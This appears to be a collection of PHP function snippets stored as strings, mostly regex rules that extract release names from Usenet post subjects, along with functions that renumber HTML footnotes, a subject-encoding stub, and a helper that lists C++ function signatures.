()\\[\\]\\'\\`-]{8,}\\)\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(German TOP100 Single Jahrescharts-2013 - by Taekwondo456([67/70] - \"German TOP100 Single Jahrescharts-2013.vol041+41.PAR2\" yEnc\n\t\tif (preg_match('/^\\([\\w.,& ()\\[\\]\\'\\`-]{8,} - by Taekwondo(\\d+\\()?\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //(Liedjes uit de film De Grote Patriottische Oorlog..o.a. Rod McK ) ( ** By Dready Niek ** ) [02/11] - \"Liedjes uit de film De Grote Patriottische Oorlog..o.a. Rod McKuen - By Dready Niek.part1.rar\" yEnc\n\t\tif (preg_match('/^\\( ?([\\w.,& ()\\[\\]\\'\\`-]{8,}) ?\\)[-_\\s]{0,3}\\(.+Dready Niek.+\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"[\\w.,& ()\\[\\]\\'\\`-]{8,}?' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[21/23] - \"JNEQ3_20130413_028.vol0+1.par2\" - 282,65 MB <-> Partner of secretusenet.com <-> yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 .\n\t\t\t\t\t '[-_\\s]{0,3}\\d+[.,]\\d+ [kKmMgG][bB] <-> Partner of secretusenet\\.com <->[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Yogi_and_Husky--Nu_Sound_EP-(RSR021)-WEB-2012-dh - \"Yogi_and_Husky--Nu_Sound_EP-(RSR021)-WEB-2012-dh.r00\" yEnc\n\t\tif (preg_match('/^[\\w.,& ()\\[\\]\\'\\`-]{8,}?[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Zido.Alben.All.in.One.Read.NFO-Ren & Stimpy - [35/43] - \"Zydo.part33.rar\" yEnc\n\t\tif (preg_match('/^([\\w.,& ()\\[\\]\\'\\`-]{8,}?)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //! ! !! - h311b0y101022014 - !! ! ! [01/14] - \"h311b0y101022014.par2\" yEnc\n\t\tif (preg_match('/(h311b0y|Hellboy).+\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function cd_image()\n\t{\n\t\tif (preg_match('/^\\[www\\..+?\\]-\\[(.+?)\\]-\\[\\d+\\/\\d+\\] \".+?\" - \\d+[,.]\\d+ [mMkKgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Slender.The.Arrival-WaLMaRT.PC - [01/26] - \"wmt-stal.nfo\" - yEnc\n\t\t//The.Night.of.the.Rabbit-FLT - [03/66] - \"flt-notr.r00\" - FAiRLIGHT - 5,10 GB - yEnc\n\t\t//Resident.Evil.Revelations-FLT - PC GAME - [03/97] - \"Resident.Evil.Revelations-FLT.r00\" - FAiRLIGHT - yEnc\n\t\t//Afterfall.Insanity.Dirty.Arena.Edition-WaLMaRT - [MULTI6][PCDVD] - [02/45] - \"wmt-adae.r00\" - PC GAME - yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9.-]{10,}) -( PC GAME -| [A-Z0-9\\[\\]]+ -)? \\[\\d+\\/\\d+\\] - \".+?\" - (.+? - (\\d+[,.]\\d+ [mMkKgG][bB] - )?)?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[01/46] - Crashtime 5 Undercover RELOADED - \"rld-ct5u.nfo\" - PC - yEnc\n\t\t//[01/76] - Of.Orcs.And.Men-SKIDROW - \"sr-oforcsandmen.nfo\" - yEnc\n\t\t//PC Game - [01/71] - MotoGP 13-RELOADED Including NoDVD Fix - \"MotoGP 13-RELOADED Including NoDVD Fix nfo\" - yEnc\n\t\tif (preg_match('/^(PC Game - )?\\[\\d+\\/\\d+\\] - (.+?) - \".+?\" -( .+? -)? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//Magrunner Dark Pulse FLT (FAiRLIGHT) - [02/70] - \"flt-madp par2\" - PC - yEnc\n\t\t//MotoGP 13 RELOADED - [01/71] - \"rld-motogp13 nfo\" - PC - yEnc\n\t\t//Dracula 4: Shadow of the Dragon FAiRLIGHT - [01/36] - \"flt-drc4 nfo\" - PC - yEnc\n\t\tif (preg_match('/^([A-Za-z0-9][a-zA-Z0-9: ]{8,}(-[a-zA-Z]+)?)( \\(.+?\\)| - [\\[A-Z0-9\\]]+)? - \\[\\d+\\/\\d+\\] - \".+?\" - .+? - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[NEW PC GAME] - Lumber.island-WaLMaRT - \"wmt-lisd.nfo\" - [01/18] - yEnc\n\t\t//Trine.2.Complete.Story-SKIDROW - \"sr-trine2completestory.nfo\" - [01/78] - yEnc\n\t\tif (preg_match('/^(\\[[A-Z ]+\\] - )?([a-zA-Z0-9.-]{10,}) - \".+?\" - \\[\\d+\\/\\d+\\] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //Uploader.Presents-Metal.Gear.Rising.Revengeance-RELOADED(51/65]\"rld-megerire.r48\" yEnc\n\t\tif (preg_match('/^Uploader\\.Presents-(.+)[\\(\\[]\\d+\\/\\d+\\]\".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function shiftFootnotesUp () {\r\n\t\t/*\r\n\t\t// required improvements; accounting for <em> and <strong> on footnotes... maybe DOM function?\r\n\t\t// see combine_inline (2009-04-22)\r\n\t\t//preg_match_all('/<sup><a href=\"#footnote([0-9]{1,3})\" name=\"note\\1\" title=\"Link to footnote \\1\">\\1<\\/a><\\/sup>/', $this->code, $englishNoteParts);\r\n\t\t//preg_match_all('/<a href=\"#note([0-9]{1,3})\" name=\"footnote\\1\" title=\"Link to note \\1\">\\1<\\/a>/', $this->code, $englishFootnoteParts);\r\n\t\t//preg_match_all('/<sup><a href=\"#footnote([0-9]{1,3})\" name=\"note\\1\" title=\"Lien &agrave; la r&eacute;f&eacute;rence \\1\">\\1<\\/a><\\/sup>/', $this->code, $frenchNoteParts);\r\n\t\t//preg_match_all('/<a href=\"#note([0-9]{1,3})\" name=\"footnote\\1\" title=\"Lien à la note \\1\">\\1<\\/a>/', $this->code, $frenchFootnoteParts);\r\n\t\t// (2011-06-27) the name attribute is deprecated\r\n\t\tpreg_match_all('/<sup><a href=\"#footnote([0-9]{1,3})\" id=\"note\\1\" title=\"Link to footnote \\1\">\\1<\\/a><\\/sup>/', $this->code, $englishNoteParts);\r\n\t\tpreg_match_all('/<a href=\"#note([0-9]{1,3})\" id=\"footnote\\1\" title=\"Link to note \\1\">\\1<\\/a>/', $this->code, $englishFootnoteParts);\r\n\t\tpreg_match_all('/<sup><a href=\"#footnote([0-9]{1,3})\" id=\"note\\1\" title=\"Lien &agrave; la r&eacute;f&eacute;rence \\1\">\\1<\\/a><\\/sup>/', $this->code, $frenchNoteParts);\r\n\t\tpreg_match_all('/<a href=\"#note([0-9]{1,3})\" id=\"footnote\\1\" title=\"Lien à la note \\1\">\\1<\\/a>/', $this->code, $frenchFootnoteParts);\r\n\t\t*/\r\n\t\t\r\n\t\tpreg_match_all('/<a href=\"([^\"]*?)#note([^\"]*?)([0-9]+)\" id=\"note([^\"]*?)\\3\" title=\"([^\"]*?)\\3\">((<[^<>]+>)*?)\\3/is', $this->code, $noteParts, PREG_OFFSET_CAPTURE);\r\n\t\tif(sizeof($noteParts[0]) === 0) {\r\n\t\t\tpreg_match_all('/<sup id=\"fnb([0-9]+)-ref\"><a class=\"footnote-link\" href=\"#fnb\\1\"><span class=\"wb-invisible\">[^<>]*?<\\/span>\\1<\\/a><\\/sup>/is', $this->code, $noteParts, PREG_OFFSET_CAPTURE);\r\n\t\t\t$size = sizeof($noteParts[0]);\r\n\t\t\t$count = 0;\r\n\t\t\twhile($size > 0) {\r\n\t\t\t\t$index = $size - 1;\t\r\n\t\t\t\t$num = $noteParts[1][$index][0];\r\n\t\t\t\t$numPlusOne = $num + 1;\r\n\t\t\t\t$initial_note = $noteParts[0][$index][0];\r\n\t\t\t\t$modified_note = str_replace($num, $numPlusOne, $initial_note);\r\n\t\t\t\t$offset = $noteParts[0][$index][1];\r\n\t\t\t\t$this->code = substr($this->code, 0, $offset) . $modified_note . substr($this->code, $offset + strlen($initial_note));\r\n\t\t\t\t$count += 1;\r\n\t\t\t\t$size--;\r\n\t\t\t}\r\n\t\t\tpreg_match_all('/<dt>[^<>]*?([0-9]+)<\\/dt>\\s*<dd id=\"fnb\\1\">\\s*<p>.*?<\\/p>\\s*<p class=\"footnote-return\"><a href=\"#fnb\\1-ref\"><span class=\"wb-invisible\">[^<>]*?<\\/span>\\1<span class=\"wb-invisible\">[^<>]*?<\\/span><\\/a><\\/p>\\s*<\\/dd>/is', $this->code, $noteParts2, PREG_OFFSET_CAPTURE);\r\n\t\t\t$size2 = sizeof($noteParts2[0]);\r\n\t\t\t$count2 = 0;\r\n\t\t\twhile($size2 > 0) {\r\n\t\t\t\t$index = $size2 - 1;\t\r\n\t\t\t\t$num = $noteParts2[1][$index][0];\r\n\t\t\t\t$numPlusOne = $num + 1;\r\n\t\t\t\t$initial_note = $noteParts2[0][$index][0];\r\n\t\t\t\t$modified_note = str_replace($num, $numPlusOne, $initial_note);\r\n\t\t\t\t$offset = $noteParts2[0][$index][1];\r\n\t\t\t\t$this->code = substr($this->code, 0, $offset) . $modified_note . substr($this->code, $offset + strlen($initial_note));\r\n\t\t\t\t$count2 += 1;\r\n\t\t\t\t$size2--;\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t$size = sizeof($noteParts[0]);\r\n\t\t\t//var_dump($size);\r\n\t\t\t$count = 0;\r\n\t\t\t\r\n\t\t\t/*\r\n\t\t\t$count1 = $count2 = $count3 = $count4 = 0;\r\n\t\t\t$size1 = sizeof($englishNoteParts[0]);\r\n\t\t\t$size2 = sizeof($englishFootnoteParts[0]);\r\n\t\t\t$size3 = sizeof($frenchNoteParts[0]);\r\n\t\t\t$size4 = sizeof($frenchFootnoteParts[0]);\r\n\t\t\t*/\r\n\t\t\t\r\n\t\t\twhile($size > 0) {\r\n\t\t\t\t$index = $size - 1;\t\r\n\t\t\t\t$num = $noteParts[3][$index][0];\r\n\t\t\t\t$numPlusOne = $num + 1;\r\n\t\t\t\t$initial_note = $noteParts[0][$index][0];\r\n\t\t\t\t$modified_note = str_replace($num, $numPlusOne, $initial_note);\r\n\t\t\t\t$offset = $noteParts[0][$index][1];\r\n\t\t\t\t$this->code = substr($this->code, 0, $offset) . $modified_note . substr($this->code, $offset + strlen($initial_note));\r\n\t\t\t\t$count += 1;\r\n\t\t\t\t$size--;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t/*\r\n\t\twhile($size1 > 0) {\r\n\t\t\t$index = $size1-1;\t\r\n\t\t\t$num = $englishNoteParts[1][$index];\r\n\t\t\t$numPlusOne = $num+1;\r\n\t\t\t//$search = '<sup><a href=\"#footnote' . $num . '\" name=\"note' . $num . '\" title=\"Link to footnote ' . $num . '\">' . $num . '</a></sup>';\r\n\t\t\t//$replace = '<sup><a href=\"#footnote' . $numPlusOne . '\" name=\"note' . $numPlusOne . '\" title=\"Link to footnote ' . $numPlusOne . '\">' . $numPlusOne . '</a></sup>';\r\n\t\t\t// (2011-06-27) the name attribute is deprecated\r\n\t\t\t$search = '<sup><a href=\"#footnote' . $num . '\" id=\"note' . $num . '\" title=\"Link to footnote ' . $num . '\">' . $num . '</a></sup>';\r\n\t\t\t$replace = '<sup><a href=\"#footnote' . $numPlusOne . '\" id=\"note' . $numPlusOne . '\" title=\"Link to footnote ' . $numPlusOne . '\">' . $numPlusOne . '</a></sup>';\r\n\t\t\t$this->code = str_replace(\r\n\t\t\t$search, \r\n\t\t\t$replace, \r\n\t\t\t$this->code, \r\n\t\t\t$tempcount1);\r\n\t\t\t$count1 += $tempcount1;\r\n\t\t\t$size1--;\r\n\t\t}\r\n\t\twhile($size2 > 0) {\r\n\t\t\t$index = $size2-1;\r\n\t\t\t$num = $englishFootnoteParts[1][$index];\r\n\t\t\t$numPlusOne = $num+1;\r\n\t\t\t//$search = '<a href=\"#note' . $num . '\" name=\"footnote' . $num . '\" title=\"Link to note ' . $num . '\">' . $num . '</a>';\r\n\t\t\t//$replace = '<a href=\"#note' . $numPlusOne . '\" name=\"footnote' . $numPlusOne . '\" title=\"Link to note ' . $numPlusOne . '\">' . $numPlusOne . '</a>';\r\n\t\t\t// (2011-06-27) the name attribute is deprecated\r\n\t\t\t$search = '<a href=\"#note' . $num . '\" id=\"footnote' . $num . '\" title=\"Link to note ' . $num . '\">' . $num . '</a>';\r\n\t\t\t$replace = '<a href=\"#note' . $numPlusOne . '\" id=\"footnote' . $numPlusOne . '\" title=\"Link to note ' . $numPlusOne . '\">' . $numPlusOne . '</a>';\r\n\t\t\t$this->code = str_replace(\r\n\t\t\t$search, \r\n\t\t\t$replace, \r\n\t\t\t$this->code, \r\n\t\t\t$tempcount2);\r\n\t\t\t$count2 += $tempcount2;\t\t\r\n\t\t\t$size2--;\t\r\n\t\t}\r\n\t\twhile($size3 > 0) {\r\n\t\t\t$index = $size3-1;\t\r\n\t\t\t$num = $frenchNoteParts[1][$index];\r\n\t\t\t$numPlusOne = $num+1;\r\n\t\t\t$this->code = str_replace(\r\n\t\t\t//'<sup><a href=\"#footnote' . $num . '\" name=\"note' . $num . '\" title=\"Lien &agrave; la r&eacute;f&eacute;rence ' . $num . '\">' . $num . '</a></sup>', \r\n\t\t\t//'<sup><a href=\"#footnote' . $numPlusOne . '\" name=\"note' . $numPlusOne . '\" title=\"Lien &agrave; la r&eacute;f&eacute;rence ' . $numPlusOne . '\">' . $numPlusOne . '</a></sup>', \r\n\t\t\t// (2011-06-27) the name attribute is deprecated\r\n\t\t\t'<sup><a href=\"#footnote' . $num . '\" id=\"note' . $num . '\" title=\"Lien &agrave; la r&eacute;f&eacute;rence ' . $num . '\">' . $num . '</a></sup>', \r\n\t\t\t'<sup><a href=\"#footnote' . $numPlusOne . '\" id=\"note' . $numPlusOne . '\" title=\"Lien &agrave; la r&eacute;f&eacute;rence ' . $numPlusOne . '\">' . $numPlusOne . '</a></sup>', \r\n\t\t\t$this->code, \r\n\t\t\t$tempcount3);\r\n\t\t\t$count3 += $tempcount3;\t\r\n\t\t\t$size3--;\t\t\r\n\t\t}\r\n\t\twhile($size4 > 0) {\r\n\t\t\t$index = $size4-1;\t\t\r\n\t\t\t$num = $frenchFootnoteParts[1][$index];\r\n\t\t\t$numPlusOne = $num+1;\r\n\t\t\t$this->code = str_replace(\r\n\t\t\t//'<a href=\"#note' . $num . '\" name=\"footnote' . $num . '\" title=\"Lien à la note ' . $num . '\">' . $num . '</a>', \r\n\t\t\t//'<a href=\"#note' . $numPlusOne . '\" name=\"footnote' . $numPlusOne . '\" title=\"Lien à la note ' . $numPlusOne . '\">' . $numPlusOne . '</a>', \r\n\t\t\t// (2011-06-27) the name attribute is deprecated\r\n\t\t\t'<a href=\"#note' . $num . '\" id=\"footnote' . $num . '\" title=\"Lien à la note ' . $num . '\">' . $num . '</a>', \r\n\t\t\t'<a href=\"#note' . $numPlusOne . '\" id=\"footnote' . $numPlusOne . '\" title=\"Lien à la note ' . $numPlusOne . '\">' . $numPlusOne . '</a>', \r\n\t\t\t$this->code, \r\n\t\t\t$tempcount4);\r\n\t\t\t$count4 += $tempcount4;\r\n\t\t\t$size4--;\r\n\t\t}\r\n\t\t\r\n\t\t$ct = $count1 + $count2 + $count3 + $count4;*/\r\n\t\t$this->logMsgIf(\"shiftFootnotesUp (referrer)\", $count);\r\n\t\t$this->logMsgIf(\"shiftFootnotesUp (note)\", $count2);\r\n\t\treturn true;\r\n\t}", "function shiftFootnotesDown() {\r\n\t\tpreg_match_all('/<a href=\"([^\"]*?)#note([^\"]*?)([0-9]+)\" id=\"note([^\"]*?)\\3\" title=\"([^\"]*?)\\3\">((<[^<>]+>)*?)\\3/is', $this->code, $noteParts, PREG_OFFSET_CAPTURE);\r\n\t\tif(sizeof($noteParts[0]) === 0) {\r\n\t\t\tpreg_match_all('/<sup id=\"fnb([0-9]+)-ref\"><a class=\"footnote-link\" href=\"#fnb\\1\"><span class=\"wb-invisible\">[^<>]*?<\\/span>\\1<\\/a><\\/sup>/is', $this->code, $noteParts, PREG_OFFSET_CAPTURE);\r\n\t\t\t$size = sizeof($noteParts[0]);\r\n\t\t\t$count = 0;\r\n\t\t\twhile($size > 0) {\r\n\t\t\t\t$index = $size - 1;\t\r\n\t\t\t\t$num = $noteParts[1][$index][0];\r\n\t\t\t\t$numMinusOne = $num - 1;\r\n\t\t\t\t$initial_note = $noteParts[0][$index][0];\r\n\t\t\t\t$modified_note = str_replace($num, $numMinusOne, $initial_note);\r\n\t\t\t\t$offset = $noteParts[0][$index][1];\r\n\t\t\t\t$this->code = substr($this->code, 0, $offset) . $modified_note . substr($this->code, $offset + strlen($initial_note));\r\n\t\t\t\t$count += 1;\r\n\t\t\t\t$size--;\r\n\t\t\t}\r\n\t\t\tpreg_match_all('/<dt>[^<>]*?([0-9]+)<\\/dt>\\s*<dd id=\"fnb\\1\">\\s*<p>.*?<\\/p>\\s*<p class=\"footnote-return\"><a href=\"#fnb\\1-ref\"><span class=\"wb-invisible\">[^<>]*?<\\/span>\\1<span class=\"wb-invisible\">[^<>]*?<\\/span><\\/a><\\/p>\\s*<\\/dd>/is', $this->code, $noteParts2, PREG_OFFSET_CAPTURE);\r\n\t\t\t$size2 = sizeof($noteParts2[0]);\r\n\t\t\t$count2 = 0;\r\n\t\t\twhile($size2 > 0) {\r\n\t\t\t\t$index = $size2 - 1;\t\r\n\t\t\t\t$num = $noteParts2[1][$index][0];\r\n\t\t\t\t$numMinusOne = $num - 1;\r\n\t\t\t\t$initial_note = $noteParts2[0][$index][0];\r\n\t\t\t\t$modified_note = str_replace($num, $numMinusOne, $initial_note);\r\n\t\t\t\t$offset = $noteParts2[0][$index][1];\r\n\t\t\t\t$this->code = substr($this->code, 0, $offset) . $modified_note . substr($this->code, $offset + strlen($initial_note));\r\n\t\t\t\t$count2 += 1;\r\n\t\t\t\t$size2--;\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t$size = sizeof($noteParts[0]);\r\n\t\t\t$count = 0;\r\n\t\t\twhile($size > 0) {\r\n\t\t\t\t$index = $size - 1;\t\r\n\t\t\t\t$num = $noteParts[3][$index][0];\r\n\t\t\t\t$numMinusOne = $num - 1;\r\n\t\t\t\t$initial_note = $noteParts[0][$index][0];\r\n\t\t\t\t$modified_note = str_replace($num, $numMinusOne, $initial_note);\r\n\t\t\t\t$offset = $noteParts[0][$index][1];\r\n\t\t\t\t$this->code = substr($this->code, 0, $offset) . $modified_note . substr($this->code, $offset + strlen($initial_note));\r\n\t\t\t\t$count += 1;\r\n\t\t\t\t$size--;\r\n\t\t\t}\r\n\t\t}\r\n\t\t$this->logMsgIf(\"shiftFootnotesDown (referrer)\", $count);\r\n\t\t$this->logMsgIf(\"shiftFootnotesDown (note)\", $count2);\r\n\t\treturn true;\r\n\t}", "public function mp3_full_albums()\n\t{\n\t\tif (preg_match('/^\\. - \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(001/122) \"[www.Lords-of-Usenet.org]_[Partner von SSL-News]_Blind_Guardian-Discographie.par2\" - 2,20 GB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/(\\d+\\)) \"\\[www\\.Lords-of-Usenet\\.org\\]_\\[Partner von SSL-News\\]_(.+?)' .\n\t\t\t\t\t $this->e0 . '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//(06/10) \"Pink Floyd - Dark Side Of The Moon [MFSL UDCD 517].vol00+01.PAR2\"- - 67,88 MB - Pink Floyd - Dark Side Of The Moon [MFSL UDCD 517] yEnc\n\t\t//(07/11) \"VA - Twilight - New Moon - Ost.vol00+01.PAR2\"- - 93,69 MB - VA - Twilight - New Moon - Ost yEnc\n\t\tif (preg_match('/^\\(\\d+\\/(\\d+\\)) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t '[ _-]{0,4}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}.+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //(Kitty Samtpfote) [01/12] - \"Electronic Music of the 80s.Michael Garrison - In The Regions Of Sunreturn and beyond 1991.par2 . http://usenet4ever.info_Sponsored by www.Secretusenet.com \" yEnc\n\t\tif (preg_match('/^\\(.+\\) \\[\\d+\\/(\\d+\\]) - \"(.+?)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) . http:\\/\\/usenet4ever\\.info_Sponsored by www\\.Secretusenet\\.com \" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //(www.Thunder-News.org) >Boehse Onkelz - Discography< <Sponsored by AstiNews> - (113/145) - \"Boehse Onkelz - Discography.s10\" yEnc\n\t\tif (preg_match('/^\\(.+\\) >(.+?)< <Sponsored by AstiNews> - \\(\\d+\\/(\\d+\\)) - \".+?' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[00021]-[\"1999 Alphaville - Dreamscapes.part069.rar\"[ yEnc\n\t\tif (preg_match('/^\\[\\d+\\]-\\[\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t '\\[ yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(nzbDMZ) [0/2] - \"Miles Crossing - Miles Crossing (2011).nzb\" yEnc\n\t\tif (preg_match('/^\\(.+\\) \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[06/10] - \"Jeff Healey - Legacy Volume One [The Singles].vol00+01.PAR2\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //00008 \"2003 Camouflage - Sensor.par2\" yEnc\n\t\tif (preg_match('/^\\d+ \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Alex Oriental Experience_-_Live II (Live II) [1/9] - \"01_Red_Dress.mp3\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9 -_\\(\\)\\.]+) \\[\\d+(\\/| of )(\\d+\\])[-_\\s]{0,3}\".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function encodeSubject($text)\r\n\t{\r\n\t\t// Activate tanya following line manka antaed\r\n\t\t// $text = \"=?{$sina->charSet}?B?\".base64_encode($text).\"?=\";\r\n\t\treturn $text;\r\n\t}", "function doc($results) {\n\n\t$contents = file_get_contents(\"ergvid.cpp\");\n\t$level = array_keys($results);\n\t$n = count($level);\n\n\t$fp = fopen(\"doc.txt\", \"w\");\n\n\tfor($k=0; $k<$n; $k++) {\t\t\t\t\t\t\t// for each level\n\t\t$lev = $level[$k];\t\t\t\t\t\t\t\t// level name\n\t\t$ss = sprintf(\"%s\\r\\n\", $lev);\n\t\t//printf(\"%s\", $ss);\n\t\tfprintf($fp, \"%s\", $ss);\n\t\t$r = $results[$lev];\n\t\t$m = count($r);\n\t\t//debugging\n\t\tif (strpos($lev, \"full\") !== false) {\n\t\t\t$bp = 2;\n\t\t}\n\n\t\tfor($i=0; $i<$m; $i++) {\n\t\t\t$original = $r[$i]['original'];\n\t\t\t$encrypted = $r[$i]['encrypted'];\n\t\t\t//$pat = \"/$original(.*?)[^;{]/sm\";\n\t\t\t//$pat = \"/$original(.*?)\\{/sm\";\n\t\t\t$pat = \"/$original(.*?)\\{/\";\n\t\t\t//debugging\n\t\t\tif (strpos($original, \"GetCalibration\") !== false) {\n\t\t\t\t$bp = 2;\n\t\t\t}\n\t\t\t$nn = preg_match($pat, $contents, $match);\n\t\t\tif ($nn==0) {\n\t\t\t\tprintf(\"can't find %s\\n\", $original);\n\t\t\t\tfclose($fp);\n\t\t\t\texit;\n\t\t\t}\n\t\t\telse if ($nn==1) {\n\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$bp = 7;\n\t\t\t}\n\t\t\t$s = $match[0];\n\n\t\t\t/*\n\t\t\t// skip calls of the function:\n\n\t\t\t//debugging\n\t\t\tif (strpos($original, \"check_for_trainers\") !== false) {\n\t\t\t\t$bp = 2;\n\t\t\t}\n\n\t\t\t$pat = \"/$original(.*?);/sm\";\n\t\t\t$nn = preg_match($pat, $s, $match);\n\n\t\t\tif ($nn==0) {\n\t\t\t\t$bp = 0;\n\t\t\t}\n\t\t\telse if ($nn==1) {\n\t\t\t\t$bp = 2;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$bp = 5;\n\t\t\t}\n\t\t\t*/\n\n\t\t\t$s = preg_replace(\"/\\s+\\{(.*?)$/\", \";\", $s);\n\t\t\t$ss = sprintf(\"\\t%s\\r\\n\", $s);\n\t\t\t//printf(\"%s\", $ss);\n\t\t\tfprintf($fp, \"%s\", $ss);\n\n\t\t\t$bp = $i;\n\t\t}\n\n\t\t$bp = $k;\n\t}\n\n\tfclose($fp);\n\n\t//print_array(false, \"RESULTS\", $results);\n\n\treturn;\n\n}", "public function frogs()\n\t{\n\t\tif (preg_match('/\\[\\.in\\][-_\\s]{0,3}.*[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Beachbody.ShaunT.Focus.T25 [01/39] - 